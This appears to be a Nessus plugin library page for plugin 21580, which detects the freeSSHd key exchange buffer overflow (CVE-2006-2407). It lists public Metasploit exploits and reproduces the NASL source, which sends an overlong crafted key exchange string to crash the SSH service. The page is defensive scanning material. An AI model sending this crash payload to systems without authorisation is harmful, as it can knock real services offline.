freeSSHd Key Exchange Algorithm String Remote Overflow - Nessus

High   Plugin ID: 21580

This page contains detailed information about the freeSSHd Key Exchange Algorithm String Remote Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 21580
Name: freeSSHd Key Exchange Algorithm String Remote Overflow
Filename: freesshd_key_exchange_overflow.nasl
Vulnerability Published: 2006-05-12
This Plugin Published: 2006-05-22
Last Modification Time: 2018-08-22
Plugin Version: 1.19
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: find_service1.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2006-05-12
Patch Published: N/A
CVE [?]: CVE-2006-2407
CPE [?]: N/A

Synopsis

The remote SSH server is prone to a buffer overflow attack.

Description

The remote host is using freeSSHd, a free SSH server for Windows.

The version of freeSSHd installed on the remote host does not validate the key exchange strings sent by a SSH client. This can result in a buffer overflow and possibly a compromise of the host if an unauthenticated attacker sends a long key exchange string.

Solution

Upgrade to FreeSSHd version 1.0.10 or later.

Public Exploits


Target Network Port(s): 22
Target Asset(s): Services/ssh
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the freeSSHd Key Exchange Algorithm String Remote Overflow vulnerability:

  1. Metasploit: exploit/windows/ssh/freesshd_key_exchange
    [FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow]
  2. Metasploit: exploit/windows/ssh/freeftpd_key_exchange
    [FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow]
  3. Exploit-DB: exploits/windows/remote/16461.rb
    [EDB-16461: freeSSHd 1.0.9 - Key Exchange Algorithm String Buffer Overflow (Metasploit)]
  4. Exploit-DB: exploits/windows/remote/16462.rb
    [EDB-16462: freeFTPd 1.0.10 - Key Exchange Algorithm String Buffer Overflow (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the freesshd_key_exchange_overflow.nasl nessus plugin source code. This script is Copyright (C) 2006-2018 Ferdy Riphagen

#
# Script Written By Ferdy Riphagen
# <f[dot]riphagen[at]nsec[dot]nl>
#
# Script distributed under the GNU GPLv2 License.
#

# Changes by Tenable:
# - Revised plugin title, moved see also to xref, family change (8/14/09)


include("compat.inc");

if (description) {
 script_id(21580);
 script_version("1.19");
 script_cvs_date("Date: 2018/08/22 16:49:14");

 script_cve_id("CVE-2006-2407");
 script_bugtraq_id(17958);
 script_xref(name:"Secunia", value:"19846");

 script_name(english:"freeSSHd Key Exchange Algorithm String Remote Overflow");

 script_set_attribute(attribute:"synopsis", value:
"The remote SSH server is prone to a buffer overflow attack." );
 script_set_attribute(attribute:"description", value:
"The remote host is using freeSSHd, a free SSH server for Windows. 

The version of freeSSHd installed on the remote host does not validate
the key exchange strings sent by a SSH client.  This can result in a
buffer overflow and possibly a compromise of the host if an
unauthenticated attacker sends a long key exchange string." );
 script_set_attribute(attribute:"solution", value:
"Upgrade to FreeSSHd version 1.0.10 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2006/05/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/05/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
 script_summary(english:"Checks for a buffer overflow in freeSSHd");
 script_category(ACT_DENIAL);
 script_family(english:"Gain a shell remotely");
 script_copyright(english:"This script is Copyright (C) 2006-2018 Ferdy Riphagen");
 script_dependencies("find_service1.nasl");
 script_require_ports("Services/ssh", 22);
 exit(0);
}


include("global_settings.inc");
include("misc_func.inc");

if (report_paranoia < 1) exit(0, "This script is prone to false positive.");

port = get_service(svc:"ssh", default: 22, exit_on_fail: 1);

soc = open_sock_tcp(port);
if (!soc) exit(1, "Cannot connect to TCP port "+port+".");

banner = recv(socket:soc, length:128);
# nb: sample banner from freeSSHd 1.0.10:
#       SSH-2.0-WeOnlyDo 1.2.7
if (! egrep(pattern:"SSH.+WeOnlyDo", string:banner))
{
  close(soc);
  exit(0, "The SSH server on port "+port+" is not freeSSHD.");
}
 
 ident = "SSH-2.0-OpenSSH_4.2p1";
 exp = ident + raw_string(   # Used from the original POC. 
		0x0a, 0x00, 0x00, 0x4f, 0x04, 0x05, 
		0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
		0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xde) 
		+ crap(length:20300);

 send(socket:soc, data:exp);
 recv(socket:soc, length:1024);
 close(soc);

 soc = open_sock_tcp(port);
 if (! soc)
 {
   if (service_is_dead(port: port) <= 0)	# Alive or timeout
     exit(1, "Could not reconnect to port "+port+".");
   security_hole(port);
   exit(0);
 }
recv = recv(socket:soc, length:128);
close (soc);
if (! strlen(recv)) security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/freesshd_key_exchange_overflow.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\freesshd_key_exchange_overflow.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/freesshd_key_exchange_overflow.nasl

Go back to menu.

How to Run


Here is how to run the freeSSHd Key Exchange Algorithm String Remote Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Gain a shell remotely plugin family.
  6. On the right side table select freeSSHd Key Exchange Algorithm String Remote Overflow plugin ID 21580.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl freesshd_key_exchange_overflow.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a freesshd_key_exchange_overflow.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - freesshd_key_exchange_overflow.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state freesshd_key_exchange_overflow.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: Secunia Advisory: See also: Similar and related Nessus plugins:
  • 63223 - freeFTPd / freeSSHd SFTP Authentication Bypass
  • 12285 - Unreal Engine Secure Query Remote Overflow
  • 14243 - Medal of Honor Multiple Remote Overflows
  • 14361 - Netscape NSS Library SSLv2 Challenge Overflow
  • 15867 - Mercury Mail Remote IMAP Server Remote Overflow
  • 16232 - VERITAS Backup Exec Agent Browser Registration Request Remote Overflow
  • 16274 - ngIRCd < 0.8.2 Lists_MakeMask() Remote Overflow DoS
  • 17158 - Knox Arkeia Backup Client Type 77 Request Processing Buffer Remote Overflow
  • 17326 - Sentinel License Manager lservnt Service Remote Buffer Overflow
  • 18257 - BakBone NetVault < 7.1.2 / 7.3.1 Multiple Remote Overflows
  • 18403 - Hummingbird InetD LPD Component (Lpdw.exe) Data Overflow
  • 18524 - Novell ZENworks Multiple Remote Pre-Authentication Overflows
  • 19428 - Novell eDirectory Server iMonitor Multiple Remote Overflows
  • 20318 - Novell NetMail IMAP Agent Long Verb Arguments Remote Overflow
  • 20336 - Qualcomm WorldMail Multiple IMAP Command Remote Overflow
  • 20812 - Mercury Mail ph Server Remote Overflow
  • 21116 - MERCUR Messaging IMAP Service Multiple Command Remote Overflow
  • 21243 - Novell GroupWise Messenger Accept Language Remote Overflow
  • 23736 - AT-TFTP Server Filename Handling Remote Overflow
  • 24327 - Mercury LoadRunner Agent server_ip_name Field Remote Buffer Overflow
  • 24680 - Trend Micro ServerProtect TmRpcSrv.dll RPC Request Multiple Overflows
  • 24785 - Mercury IMAP Server LOGIN Command Remote Overflow
  • 24903 - IBM Lotus Domino IMAP Server (nimap.exe) CRAM-MD5 Authentication Remote Overflow
  • 25084 - Novell Groupwise WebAccess GWINTER.EXE Base64 Decoding Remote Overflow
  • 25118 - MERCUR Messaging IMAP Server NTLM Authentication NTLMSSP Argument Remote Overflow
  • 25662 - IBM Tivoli Storage Manager Multiple Remote Overflows
  • 25935 - SIDVault < 2.0f LDAP Server Malformed Search Request Buffer Overflow
  • 26067 - Mercury IMAP Server SEARCH Command Remote Buffer Overflow
  • 40862 - Wyse Thin Client hagent.exe Unspecified Buffer Overflow
  • 54943 - IBM Tivoli Directory Server SASL Bind Request Buffer Overflow (uncredentialed check)
  • 55544 - Novell File Reporter Engine RECORD Element Tag Parsing Overflow (uncredentialed check)
  • 55907 - HP iNode Management Center Buffer Overflow (HPSB3C02687) (remote check)
  • 57462 - FreeBSD 'telnetd' Daemon Remote Buffer Overflow
  • 57765 - Trend Micro Control Manager CmdProcessor.exe Remote Buffer Overflow (uncredentialed check)
  • 64394 - Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file freesshd_key_exchange_overflow.nasl version 1.19. For more plugins, visit the Nessus Plugin Library.

Go back to menu.